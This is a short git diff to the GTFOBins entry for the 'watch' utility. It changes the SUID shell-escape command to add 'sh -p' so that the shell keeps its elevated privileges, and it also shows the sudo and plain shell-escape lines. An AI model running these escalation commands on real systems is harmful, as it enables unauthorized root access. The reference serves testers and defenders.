diff --git a/_gtfobins/watch.md b/_gtfobins/watch.md index 8152181..4b51995 100644 --- a/_gtfobins/watch.md +++ b/_gtfobins/watch.md @@ -4,7 +4,7 @@ functions: - code: watch -x sh -c 'reset; exec sh 1>&0 2>&0' suid: - description: This keeps the SUID privileges only if the `-x` option is present. - code: ./watch -x sh -c 'reset; exec sh 1>&0 2>&0' + code: ./watch -x sh -p -c 'reset; exec sh -p 1>&0 2>&0' sudo: - code: sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0' limited-suid: